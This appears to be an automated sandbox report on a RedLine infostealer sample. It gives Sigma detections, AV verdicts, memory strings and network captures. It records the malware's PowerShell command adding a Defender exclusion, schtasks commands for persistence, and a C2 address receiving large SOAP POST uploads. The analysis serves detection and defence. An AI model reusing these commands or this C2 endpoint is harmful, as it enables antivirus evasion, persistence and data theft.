Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\lZ8NRWShfC.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\lZ8NRWShfC.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\lZ8NRWShfC.exe", ParentImage: C:\Users\user\Desktop\lZ8NRWShfC.exe, ParentProcessId: 6884, ParentProcessName: lZ8NRWShfC.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\lZ8NRWShfC.exe", ProcessId: 6260, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp76F9.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp76F9.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\TmfmVKU.exe, ParentImage: C:\Users\user\AppData\Roaming\TmfmVKU.exe, ParentProcessId: 7308, ParentProcessName: TmfmVKU.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp76F9.tmp", ProcessId: 7552, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp51ED.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp51ED.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\lZ8NRWShfC.exe", ParentImage: C:\Users\user\Desktop\lZ8NRWShfC.exe, ParentProcessId: 6884, ParentProcessName: lZ8NRWShfC.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp51ED.tmp", ProcessId: 3140, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\lZ8NRWShfC.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\lZ8NRWShfC.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\lZ8NRWShfC.exe", ParentImage: C:\Users\user\Desktop\lZ8NRWShfC.exe, ParentProcessId: 6884, ParentProcessName: lZ8NRWShfC.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\lZ8NRWShfC.exe", ProcessId: 6260, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp51ED.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp51ED.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\lZ8NRWShfC.exe", ParentImage: C:\Users\user\Desktop\lZ8NRWShfC.exe, ParentProcessId: 6884, ParentProcessName: lZ8NRWShfC.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp51ED.tmp", ProcessId: 3140, ProcessName: schtasks.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: lZ8NRWShfC.exe

Avira: detected

Found malware configuration

Source: 0.2.lZ8NRWShfC.exe.3f18560.7.raw.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["185.222.58.91:55615"], "Bot Id": "cheat"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe

ReversingLabs: Detection: 68%

Multi AV Scanner detection for submitted file

Source: lZ8NRWShfC.exe

ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: lZ8NRWShfC.exe

Joe Sandbox ML: detected

Source: lZ8NRWShfC.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: lZ8NRWShfC.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\NULL	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\NULL	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Local\Temp\acrocef_low\NULL	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\Acrobat	Jump to behavior

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 4x nop then jmp 04F15113h	0_2_04F1531D
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 4x nop then jmp 04F15113h	0_2_04F1569A
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 4x nop then jmp 04F15113h	0_2_04F157CD
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Code function: 4x nop then jmp 04F15113h	0_2_04F15B21
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Code function: 4x nop then jmp 031A4653h	10_2_031A485D
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Code function: 4x nop then jmp 031A4653h	10_2_031A5061
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Code function: 4x nop then jmp 031A4653h	10_2_031A4BDA
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Code function: 4x nop then jmp 031A4653h	10_2_031A4D0D

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 185.222.58.91:55615

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49744

Source: global traffic

TCP traffic: 192.168.2.4:49732 -> 185.222.58.91:55615

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.58.91:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.222.58.91:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.222.58.91:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.58.91:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.222.58.91:55615Content-Length: 925603Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.222.58.91:55615Content-Length: 925595Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 185.222.58.91:55615Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 185.222.58.91:55615Content-Length: 925089Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.222.58.91:55615Content-Length: 925081Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: ROOTLAYERNETNL ROOTLAYERNETNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.222.58.91

Source: global traffic

DNS traffic detected: DNS query: api.ip.sb

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 185.222.58.91:55615Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002D95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.222.58.91:5
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002BA4000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002C75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.222.58.91:55615
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.222.58.91:55615/
Source: lZ8NRWShfC.exe, TmfmVKU.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: lZ8NRWShfC.exe, TmfmVKU.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: lZ8NRWShfC.exe, TmfmVKU.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002BA4000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002C75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: lZ8NRWShfC.exe, 00000000.00000002.1761163536.0000000002EB1000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000A.00000002.1856342329.0000000003389000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002D95000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002C75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates(
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002D95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnviron
Source: TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002D95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentde
Source: TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentme(
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003C4A000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003BF1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003DD9000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003D80000.00000004.00000800.00020000.00000000.sdmp, tmp3C74.tmp.14.dr, tmp526.tmp.14.dr, tmp516.tmp.14.dr, tmp73A6.tmp.14.dr, tmp3C85.tmp.14.dr, tmp50CB.tmp.8.dr, tmp3CB5.tmp.14.dr, tmp509A.tmp.8.dr, tmp50DB.tmp.8.dr, tmp8760.tmp.8.dr, tmp1959.tmp.8.dr, tmp73B7.tmp.14.dr, tmp7386.tmp.14.dr, tmp3C64.tmp.14.dr, tmp8750.tmp.8.dr, tmpAA2B.tmp.14.dr, tmp872E.tmp.8.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb
Source: lZ8NRWShfC.exe, lZ8NRWShfC.exe, 00000008.00000002.1870267028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, TmfmVKU.exe, 0000000A.00000002.1858249007.0000000004399000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: lZ8NRWShfC.exe, lZ8NRWShfC.exe, 00000008.00000002.1870267028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, TmfmVKU.exe, 0000000A.00000002.1858249007.0000000004399000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003C4A000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003BF1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003DD9000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003D80000.00000004.00000800.00020000.00000000.sdmp, tmp3C74.tmp.14.dr, tmp526.tmp.14.dr, tmp516.tmp.14.dr, tmp73A6.tmp.14.dr, tmp3C85.tmp.14.dr, tmp50CB.tmp.8.dr, tmp3CB5.tmp.14.dr, tmp509A.tmp.8.dr, tmp50DB.tmp.8.dr, tmp8760.tmp.8.dr, tmp1959.tmp.8.dr, tmp73B7.tmp.14.dr, tmp7386.tmp.14.dr, tmp3C64.tmp.14.dr, tmp8750.tmp.8.dr, tmpAA2B.tmp.14.dr, tmp872E.tmp.8.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003C4A000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003BF1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003DD9000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003D80000.00000004.00000800.00020000.00000000.sdmp, tmp3C74.tmp.14.dr, tmp526.tmp.14.dr, tmp516.tmp.14.dr, tmp73A6.tmp.14.dr, tmp3C85.tmp.14.dr, tmp50CB.tmp.8.dr, tmp3CB5.tmp.14.dr, tmp509A.tmp.8.dr, tmp50DB.tmp.8.dr, tmp8760.tmp.8.dr, tmp1959.tmp.8.dr, tmp73B7.tmp.14.dr, tmp7386.tmp.14.dr, tmp3C64.tmp.14.dr, tmp8750.tmp.8.dr, tmpAA2B.tmp.14.dr, tmp872E.tmp.8.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003C4A000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003BF1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003DD9000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003D80000.00000004.00000800.00020000.00000000.sdmp, tmp3C74.tmp.14.dr, tmp526.tmp.14.dr, tmp516.tmp.14.dr, tmp73A6.tmp.14.dr, tmp3C85.tmp.14.dr, tmp50CB.tmp.8.dr, tmp3CB5.tmp.14.dr, tmp509A.tmp.8.dr, tmp50DB.tmp.8.dr, tmp8760.tmp.8.dr, tmp1959.tmp.8.dr, tmp73B7.tmp.14.dr, tmp7386.tmp.14.dr, tmp3C64.tmp.14.dr, tmp8750.tmp.8.dr, tmpAA2B.tmp.14.dr, tmp872E.tmp.8.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003C4A000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003BF1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003DD9000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003D80000.00000004.00000800.00020000.00000000.sdmp, tmp3C74.tmp.14.dr, tmp526.tmp.14.dr, tmp516.tmp.14.dr, tmp73A6.tmp.14.dr, tmp3C85.tmp.14.dr, tmp50CB.tmp.8.dr, tmp3CB5.tmp.14.dr, tmp509A.tmp.8.dr, tmp50DB.tmp.8.dr, tmp8760.tmp.8.dr, tmp1959.tmp.8.dr, tmp73B7.tmp.14.dr, tmp7386.tmp.14.dr, tmp3C64.tmp.14.dr, tmp8750.tmp.8.dr, tmpAA2B.tmp.14.dr, tmp872E.tmp.8.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
